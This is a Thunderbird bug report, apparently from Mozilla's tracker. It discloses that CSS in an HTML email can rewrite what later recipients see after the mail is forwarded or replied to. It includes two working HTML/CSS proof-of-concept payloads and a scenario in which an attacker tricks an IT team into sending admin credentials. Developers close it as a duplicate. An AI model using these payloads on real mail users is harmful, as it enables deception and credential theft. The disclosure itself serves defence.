1796180 - Thunderbird - Modification of replied mail content without knowledge of replier of the mail using CSS

Status: RESOLVED DUPLICATE of bug 1688659

(Thunderbird :: Security, defect)

Description

[Ramkumar G]

Attachment: thunderbird-poc.mp4

Summary:

Hacker can modify the contents of the forwarded mail including message added by forwarder and forwarded headers without the knowledge of forwarder.

Steps to Reproduce:

1. To reproduce this issue you need 2 email accounts in Thunderbird. eg: [e-mail], [e-mail] ( You can use same email if you want ).
2. Use any mail client to sent HTML email to [e-mail] [ Sample HTML code given below ]
3. Open that mail in victim1 inbox.
4. Click forward button and add [e-mail] in To field and add any message if you want.
5. Click send button and open that mail in [e-mail] inbox.
6. You can see that the whole contents are changed.

Sample HTML Code:

<style>
  div > p {
    visibility: hidden !important;
    font-size: 1px !important;
    line-height: 0 !important;
  }
  div > .moz-forward-container {
    visibility: hidden !important;
    font-size: 1px !important;
    line-height: 0 !important;
  }
  div .moz-forward-container .a {
    visibility: hidden !important;
    font-size: 1px !important;
    line-height: 0 !important;
  }
  div .moz-forward-container .b {
    visibility: visible !important;
    font-size: 16px !important;
    line-height: 1.5 !important;
  }
</style>
<div>This content will be visible always<br>
  <span class="a">
    This content will display onle before forward
  </span>
  <span class="b" style="visibility: hidden; font-size: 1px; line-height: 0">
    This content will display only after forward<br>
    Hacker can modify all the contents including message added by forwarder of the mail, forward headers
  </span>
</div>

Impact:

1. Hacker can make miscommunication between victims.
2. This will reduces the good user experience and integrity of the mail.
3. It has high impact because hacker can fully customize the contents of the forwarded mail including message added by forwarder and forwarded headers with his HTML and CSS skill.

Example Attack scenario:

The hacker sends a mail CEO. The CEO will see "I need my account details" and he thinks that the mail was wrongly send to him. so he forward that mail to IT team with the message as "Send him a details". But when the IT team opens the mail they will see " send admin username and password to [e-mail]" so they will send admin creadentials to the attacker because their higher officer said that.

Fix:

Don't allow hacker to access the contents outside of this HTML. Put all the HTML contents that received from user into div and modify all the CSS styles by adding the classname of that parent div.
Or you can convert all the CSS to inline CSS and use it for all the places.

Thanks

Comment 1

[Ramkumar G]

Hii,

Hacker can also modify the contents of the mail after reply

Sample HTML Code:

<style>
   div blockquote, div p, div .moz-cite-prefix {
    visibility: hidden;
  }
  div blockquote .a {
    visibility: visible !important;
  }
 
</style>
<div class="a" style="visibility: hidden;"><span>This will display only after reply</span></div>
<div class="b"><span>This will display only before reply</span></div>

Example scenario:

The hacker sends a mail CEO. The CEO will see "I need my account details" and he thinks that the mail was wrongly send to him. so he follow up the mail by replying to the mail by adding a email of IT team in To field with the message as "Send him a details". But when the IT team opens the mail they will see " send admin username and password to [e-mail]" so they will send admin creadentials to the attacker because their higher officer said that.

Comment 2

[Ramkumar G]

Attachment: thunderbird-reply-poc.mp4

POC for Modification of contents after replying mail

Comment 3

[Magnus Melin [:mkmelin]]

You're talking about replies, not forwarding.

See bug 1731198 and bugs linked there. This is more or less a duplicate.

Comment 4

[Ramkumar G]

Hacker can modify Both forwarded mail and reply mails. Provided POC for both of them.

Comment 5

[Kai Engert (:KaiE:)]

Ramkumar, thanks for your report.
We were already aware that CSS can have some unfortunate effects. but I wasn't aware it's that bad.

I cannot reproduce these bugs with gmail.com and Outlook on Windows 11.

Comment 6

[Kai Engert (:KaiE:)]

This is probably the same report as bug 1688659 ?

Bug 1688659 comment 5 has a link to a good article on this issue.

If this bug is the same, we don't need to keep it hidden.

Comment 7

[Wayne Mery (:wsmwk)]

(In reply to Kai Engert (:KaiE:) from comment #6)

This is probably the same report as bug 1688659 ?

It does seem so.

Note - Thunderbird does not offer bounties